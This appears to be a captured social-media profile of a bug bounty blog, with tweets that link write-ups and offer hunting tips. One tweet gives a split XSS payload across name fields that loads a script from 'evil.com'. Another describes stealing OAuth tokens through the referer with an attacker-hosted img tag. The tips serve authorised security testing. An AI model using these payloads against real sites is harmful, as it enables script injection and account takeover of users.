Abugzlife @abugzlife1

Our space is for all things security & technology related. Everything from our journey along InfoSec career path, bug bounty writs-ups & more interesting stuff medium.com/a-bugz-life Joined April 2019

Tweets

17
Followers

781
Following

0
Likes

20

Abugzlife @abugzlife1

6 years ago

The Wonderful World of OAuth: Bug Bounty Edition. A primer on what OAuth is, particularly focusing on the authZ code grant, and how it’s commonly misconfigured and exploited. medium.com/a-bugz-life/th… #bugbounty #bugbountytip #bugbountytips

4 53 118 0 40

Abugzlife @abugzlife1

6 years ago

Exploiting an SSRF: Trails and Tribulation - New post about the thought process of attacking and exploiting a set of functionality. Not a novel method but the trial & error process is the highlight. medium.com/a-bugz-life/ex… #bugbounty #bugbountytip #infosec

17 227 451 0 158

Abugzlife @abugzlife1

6 years ago

Have you ever thought to yourself: “You know what, I’m really curious what the methodology for finding bugs that an average bug hunter who focuses on depth rather breath looks like!” Well, now is your chance to see! medium.com/a-bugz-life/bu… #bugbountytip #bugbounty

4 74 183 0 39

Abugzlife @abugzlife1

6 years ago

New post about the not so special bugs out there. Hopefully this will help motivate beginners that are struggling to see the light at the end of the tunnel, and show some of the very simple, impactful bugs out there. medium.com/a-bugz-life/th… #bugbounty #bugbountytip #infosec

1 57 167 0 31

Abugzlife @abugzlife1

6 years ago

#bugbountyTip: Have a char limit for XSS? See if it’s appended with other fields (first + last name). You can then split the payloads (this case needed JQuery to load ext script): FirstName: “><svg/onload=“$.getScript(‘http://‘+ LastName: ‘evil.com’)..” #bugbounty

0 18 62 0 8

Abugzlife @abugzlife1

6 years ago

Thanks so much @Hacker0x01 for the awesome swag! Our next blog post will cover the bug that got this, as well as a number of other easy to find bugs out in the wild @ medium.com/a-bugz-life #togetherwehitharder #bugbounty

0 1 56 0 0

Download Image

Abugzlife @abugzlife1

6 years ago

#BugBountyTip: Don't be afraid of manual review! So many times are people so focused on optimal tooling that they don't spend any time manually looking at each request, JS file, or how the app actually works. Tools are amazing, but they miss so many things #BugBounty #Infosec

1 13 50 0 1

Abugzlife @abugzlife1

6 years ago

We just published a write up of a critical 4x CSRFs Chained For Company Account Takeover that was awarded $3,000 medium.com/a-bugz-life/4x… #BugBounty #BugBountyTip #InfoSec #Security

4 93 205 0 29

Abugzlife @abugzlife1

6 years ago

#bugbountyTip: Do you have HTML injection but can't get XSS? Are there any OAuth implementations on the site? If so, setup an img tag to your server and see if there's a way to get the victim there (redirect, etc.) after login to steal OAuth tokens via referer #bugbounty #infosec

0 33 99 0 18

Abugzlife @abugzlife1

6 years ago

#bugbountyTip: Another IDOR tip - Check any and every endpoint, including API calls. Devs need to implement authz on every endpoint, it's easy to miss. Similar endpoints (from frontend, API, mobile) may fetch the same data, but authz could be different/flawed #bugbounty #security

0 14 43 0 10

Abugzlife @abugzlife1

6 years ago

#BugBountyTip: Spend more time learning/hunting for IDOR & Authorization flaws. It's high impact and one of the most common bugs out there. It's also one of the few bug classes that isn't eliminated by a framework or single solution. #BugBounty #infosec #BugBountyTips #security